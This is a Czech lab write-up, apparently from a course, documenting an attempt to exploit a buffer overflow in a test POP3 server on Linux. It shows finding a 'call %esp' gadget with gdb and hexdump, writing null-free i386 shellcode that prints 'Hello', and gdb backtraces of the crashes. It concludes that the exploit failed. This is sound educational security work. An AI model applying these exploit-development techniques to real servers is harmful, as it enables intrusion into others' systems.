Zpět

  1. Linux:

    1. Nalezení vhodné instrukce skoku

      Každý program spuštěný na Linuxu má svůj virtuální adresní prostor a sám je v něm nahrán od adresy 0x08048000. To můžeme ověřit takto:
      filip@nb:~/api$ cat /proc/`ps -a | grep pop3d | cut -d \  -f 1 | head -n 1`/maps
      08048000-08051000 r-xp 00000000 03:01 8102989    /home/filip/api/Pop3/pop3d
      08051000-08052000 rwxp 00009000 03:01 8102989    /home/filip/api/Pop3/pop3d
      08052000-08074000 rwxp 08052000 00:00 0          [heap]
      b7d34000-b7d35000 rwxp b7d34000 00:00 0 
      b7d35000-b7e5e000 r-xp 00000000 03:01 1111015    /lib/tls/libc-2.3.6.so
      b7e5e000-b7e5f000 r-xp 00128000 03:01 1111015    /lib/tls/libc-2.3.6.so
      b7e5f000-b7e62000 rwxp 00129000 03:01 1111015    /lib/tls/libc-2.3.6.so
      b7e62000-b7e64000 rwxp b7e62000 00:00 0 
      b7e64000-b7e6e000 r-xp 00000000 03:01 3300389    /usr/local/lib/libgcc_s.so.1
      b7e6e000-b7e6f000 rwxp 00009000 03:01 3300389    /usr/local/lib/libgcc_s.so.1
      b7e6f000-b7e90000 r-xp 00000000 03:01 1110938    /lib/tls/libm-2.3.6.so
      b7e90000-b7e92000 rwxp 00020000 03:01 1110938    /lib/tls/libm-2.3.6.so
      b7e92000-b7f64000 r-xp 00000000 03:01 3300394    /usr/local/lib/libstdc++.so.6.0.6
      b7f64000-b7f69000 rwxp 000d2000 03:01 3300394    /usr/local/lib/libstdc++.so.6.0.6
      b7f69000-b7f6f000 rwxp b7f69000 00:00 0 
      b7f81000-b7f97000 r-xp 00000000 03:01 1111065    /lib/ld-2.3.6.so
      b7f97000-b7f99000 rwxp 00015000 03:01 1111065    /lib/ld-2.3.6.so
      bfa81000-bfa97000 rw-p bfa81000 00:00 0          [stack]
      ffffe000-fffff000 ---p 00000000 00:00 0          [vdso]
      
      Na ostatní úseky paměti se spolehnout nemůžeme, i knihovny se mapují pokaždé jinam. Program pop3d spustíme v debuggeru gdb a dumpneme vybranou část paměti do souboru:
      filip@nb:~/api/Pop3$ gdb
      GNU gdb 6.3
      Copyright 2004 Free Software Foundation, Inc.
      GDB is free software, covered by the GNU General Public License, and you are
      welcome to change it and/or distribute copies of it under certain conditions.
      Type "show copying" to see the conditions.
      There is absolutely no warranty for GDB.  Type "show warranty" for details.
      This GDB was configured as "i486-slackware-linux".
      (gdb) file pop3d
      Reading symbols from /home/filip/api/Pop3/pop3d...done.
      Using host libthread_db library "/lib/tls/libthread_db.so.1".
      (gdb) set args 8888
      (gdb) run
      Starting program: /home/filip/api/Pop3/pop3d 8888
      12.04.2006 13:24:59 - Running POP3 port=8888
      
      ^C
      Program received signal SIGINT, Interrupt.
      0xb7dcbe3c in accept () from /lib/tls/libc.so.6
      (gdb) dump binary memory pop3.dump 0x08048000 0x08052000
      
      V obrazu paměti, uloženém na disku, se pokusíme najít po sobě jdoucí byty FF E4 nebo FF D4
      filip@nb:~/api/Pop3$ hexdump -C pop3.dump | grep "ff e4"
      filip@nb:~/api/Pop3$ hexdump -C pop3.dump | grep "ff d4"
      00007710  20 d0 ff ff d4 09 00 00  f4 d0 ff ff f4 09 00 00  | ÐÿÿÔ...ôÐÿÿô...|
      
      V případě instrukce FF D4 (call %esp) máme štěstí a nacházíme ji na adrese 0x08048000 + 0x00007713 tedy 0x0804F713. Můžeme si to ověřit v gdb:
      (gdb) x/i 0x0804f713
      0x804f713 <_IO_stdin_used+3695>:        call   *%esp
      
      Instrukci jsme nalezli přímo v kódovém segmentu programu, nezávisí tedy, na jaké distribuci linuxu, s jakým jádrem a jakou verzí knihovny glibc program běží.

    2. Shellcode

      Shellcode na Linuxu bude otázkou několika málo instrukcí. Mohli bychom například spustit jiný program (např. /bin/sh) systémovým voláním execve (v souboru /usr/include/asm/unistd.h se dozvídáme, že jeho číslo je 11, příkaz man execve nám poradí s parametry). Pro testovací účely vypíše náš shellcode pouze řetězec "Hello" a ukončí se. K tomu postačí systémová volání write (4) a exit (1). Program v i386 assembleru, který by to vykonal může vypadat takto:
      SECTION .text
      global _start
      
      _start:
      	mov eax, 4	;eax = 4 .. sys_write
      	mov ebx, 1	;ebx = 1 .. piseme na stdout
      	mov ecx, msg	;do ecx uloz adresu retezce
      	mov edx, 6	;edx = 6 .. nas retezec ma 6 znaku
      	int 0x80	;systemove volani
      
      	mov eax, ebx	;eax = 1 .. sys_exit
      	xor ebx, ebx	;ebx = 0 .. navratova hodnota uspechu
      	int 0x80	;ukonci program
      
      
      SECTION .data
      msg: db "Hello", 0x0a
      
      Zkompilujeme, spustíme a uvidíme, že program skutečně vypisuje řetězec "Hello":
      filip@nb:~/api$ nasm -o sc1.o -f elf asm1.txt
      filip@nb:~/api$ ld -o sc1 -e _start sc1.o
      filip@nb:~/api$ ./sc1
      Hello
      
      Programem objdump můžeme zkontrolovat strojový kód, problém rozhodně působí několik nulových bytů a fakt, že adresu řetězce jsme zadali absolutně:
      filip@nb:~/api$ objdump -D sc1
      
      sc1:     file format elf32-i386
      
      Disassembly of section .text:
      
      08048080 <_start>:
       8048080:       b8 04 00 00 00          mov    $0x4,%eax
       8048085:       bb 01 00 00 00          mov    $0x1,%ebx
       804808a:       b9 9c 90 04 08          mov    $0x804909c,%ecx
       804808f:       ba 06 00 00 00          mov    $0x6,%edx
       8048094:       cd 80                   int    $0x80
       8048096:       89 d8                   mov    %ebx,%eax
       8048098:       31 db                   xor    %ebx,%ebx
       804809a:       cd 80                   int    $0x80
      Disassembly of section .data:
      
      0804909c :
       804909c:       48                      dec    %eax
       804909d:       65                      gs
       804909e:       6c                      insb   (%dx),%es:(%edi)
       804909f:       6c                      insb   (%dx),%es:(%edi)
       80490a0:       6f                      outsl  %ds:(%esi),(%dx)
       80490a1:       0a                      .byte 0xa
      
      Obou problémů se zbavíme a vytvoříme tento kód:
      SECTION .text
      			;sem skocime instrukci CALL ESP
      	xor eax, eax
      	mov ecx, esp
      	add al, 0x25
      	add ecx, eax	;ecx = esp + 0x25 .. adresa retezce 
      
      	xor eax, eax
      	mov ebx, eax
      	mov edx, eax
      	add al, 4	;eax = 4 .. sys_write
      	inc ebx		;ebx = 1 .. piseme na stdout
      	add dl, 6	;edx = 6 .. delka retezce
      
      	int 0x80	;systemove volani - vypis
      
      	mov eax, ebx	;eax = 1 .. sys_exit
      	xor ebx, ebx	;ebx = 0 .. navratova hodnota uspechu
      	int 0x80	;ukonci program
      
      	db "Hello", 10
      
      Tento kód vyhovuje našim požadavkům.
      filip@nb:~/api$ nasm -o sc2.o asm2.txt
      filip@nb:~/api$ objdump -D -b binary -m i386 sc2.o
      
      sc2.o:     file format binary
      
      Disassembly of section .data:
      
      00000000 <.data>:
         0:   66 31 c0                xor    %ax,%ax
         3:   66 89 e1                mov    %sp,%cx
         6:   04 25                   add    $0x25,%al
         8:   66 01 c1                add    %ax,%cx
         b:   66 31 c0                xor    %ax,%ax
         e:   66 89 c3                mov    %ax,%bx
        11:   66 89 c2                mov    %ax,%dx
        14:   04 04                   add    $0x4,%al
        16:   66 43                   inc    %bx
        18:   80 c2 06                add    $0x6,%dl
        1b:   cd 80                   int    $0x80
        1d:   66 89 d8                mov    %bx,%ax
        20:   66 31 db                xor    %bx,%bx
        23:   cd 80                   int    $0x80
        25:   48                      dec    %eax
        26:   65                      gs
        27:   6c                      insb   (%dx),%es:(%edi)
        28:   6c                      insb   (%dx),%es:(%edi)
        29:   6f                      outsl  %ds:(%esi),(%dx)
        2a:   0a                      .byte 0xa
      

    3. Nahrání shellcode přes POP3 protokol

      Abychom řetězec s příkazem TOP a shellcodem pop3 serveru poslali, bude pohodlné napsat si k tomu krátkou aplikaci, protože posílat jednotlivé byty např. přes telnet by bylo náročné. Zdrojový kód tohoto "programu na jedno použití" je k nalezení zde. Program se spouští se dvěma argumenty, první je IP adresa, kde běží pop3d a druhým cílový port. Aplikaci zkompilujeme a spustíme, podle výpisu gdb, ve kterém běží pop3d, nastane Segmentation fault kdesi ve funkci _IO_vfscanf_internal, která se volá z funkce sscanf a to ještě předtím, než program opustí námi infikovanou proceduru:
      filip@nb:~/api/Pop3$ gdb     
      GNU gdb 6.3
      Copyright 2004 Free Software Foundation, Inc.
      GDB is free software, covered by the GNU General Public License, and you are
      welcome to change it and/or distribute copies of it under certain conditions.
      Type "show copying" to see the conditions.
      There is absolutely no warranty for GDB.  Type "show warranty" for details.
      This GDB was configured as "i486-slackware-linux".
      (gdb) file pop3d
      Reading symbols from /home/filip/api/Pop3/pop3d...done.
      Using host libthread_db library "/lib/tls/libthread_db.so.1".
      (gdb) set args 8888
      (gdb) run
      Starting program: /home/filip/api/Pop3/pop3d 8888
      12.04.2006 14:54:25 - Running POP3 port=8888
      12.04.2006 14:54:30 (1) - Connection accepted from:  127.0.0.1
      12.04.2006 14:54:30 (1) - Authorized:
      
      Program received signal SIGSEGV, Segmentation fault.
      0xb7d50055 in _IO_vfscanf_internal () from /lib/tls/libc.so.6
      (gdb) bt
      #0  0xb7d50055 in _IO_vfscanf_internal () from /lib/tls/libc.so.6
      #1  0xb7d5b2f9 in vsscanf () from /lib/tls/libc.so.6
      #2  0xb7d565cb in sscanf () from /lib/tls/libc.so.6
      #3  0x0804b96c in Pop::PopProcessCommand (this=0x38373635, cmd=0x8057739) at pop3/pop3.cpp:260
      #4  0x34333276 in ?? ()
      #5  0x38373635 in ?? ()
      #6  0x08057739 in ?? ()
      #7  0x08054141 in ?? ()
      #8  0x0804f713 in typeinfo name for MsgList ()
      #9  0x20202020 in ?? ()
      #10 0x66c03166 in ?? ()
      #11 0x2504e189 in ?? ()
      #12 0x66c10166 in ?? ()
      #13 0x8966c031 in ?? ()
      #14 0xc28966c3 in ?? ()
      #15 0x43660404 in ?? ()
      #16 0xcd06c280 in ?? ()
      #17 0xd8896680 in ?? ()
      #18 0xcddb3166 in ?? ()
      #19 0x6c654880 in ?? ()
      #20 0x00006f6c in ?? ()
      #21 0xb7f619ba in __libc_memalign () from /lib/ld-linux.so.2
      Previous frame inner to this frame (corrupt stack?)
      
      Funkce _IO_vfscanf_internal hledá v našem příkazu argumenty pro příkaz TOP, který jsme zadali, a z nějakého záhadného důvodu v implementaci glibc na našem řetězci havaruje. Tomu se můžeme vyhnout tak, že příkazu TOP nepošleme žádné smysluplné argumenty. V tomto případě havaruje pop3d prozměnu ve funkci vsnprintf, která se nám snaží sdělit, že jsme u příkazu TOP nezadali správně parametry:
      (gdb) run
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      Starting program: /home/filip/api/Pop3/pop3d 8888
      12.04.2006 15:00:12 - Running POP3 port=8888
      12.04.2006 15:01:43 (2) - Connection accepted from:  127.0.0.1
      12.04.2006 15:01:43 (2) - Authorized:
      
      Program received signal SIGSEGV, Segmentation fault.
      0xb7d5b7cd in vsnprintf () from /lib/tls/libc.so.6
      (gdb) bt
      #0  0xb7d5b7cd in vsnprintf () from /lib/tls/libc.so.6
      #1  0xb7d43612 in snprintf () from /lib/tls/libc.so.6
      #2  0x0804a989 in Pop::FormatReply (this=0x78773938, ok=false, msg1=0x804f7b3 "syntax error, TOP msgid lines", msg2=0x0,
          msg3=0x0, msg4=0x0) at pop3/pop3.cpp:32
      #3  0x0804b9a9 in Pop::PopProcessCommand (this=0x78773938, cmd=0x8053332) at pop3/pop3.cpp:262
      #4  0x37363534 in ?? ()
      #5  0x78773938 in ?? ()
      #6  0x08053332 in ?? ()
      #7  0x08054141 in ?? ()
      #8  0x0804f713 in typeinfo name for MsgList ()
      #9  0x20202020 in ?? ()
      #10 0x66c03166 in ?? ()
      #11 0x2504e189 in ?? ()
      #12 0x66c10166 in ?? ()
      #13 0x8966c031 in ?? ()
      #14 0xc28966c3 in ?? ()
      #15 0x43660404 in ?? ()
      #16 0xcd06c280 in ?? ()
      #17 0xd8896680 in ?? ()
      #18 0xcddb3166 in ?? ()
      #19 0x6c654880 in ?? ()
      #20 0x00006f6c in ?? ()
      #21 0xb7f5c9ba in __libc_memalign () from /lib/ld-linux.so.2
      Previous frame inner to this frame (corrupt stack?)
      

    4. Závěr

      Proč funkce sscanf a snprintf havarují se nám nepodařilo zjistit, protože jejich implementace je dost složitá na pochopení a dlouhá na krokování v debuggeru. Jisté je, že buď sscanf nebo snprintf se musí v námi infikované funkci volat, takže je nemůžeme obejít. Proto se nám nepodařilo spustit vlastní kód na Linuxové verzi programu pop3d.

    5. Použité nástroje

      gcc		GNU C compiler
      gdb		GNU debugger
      nasm		Netwide Assembler
      ld		GNU linker
      objdump
      hexdump
      


Zpět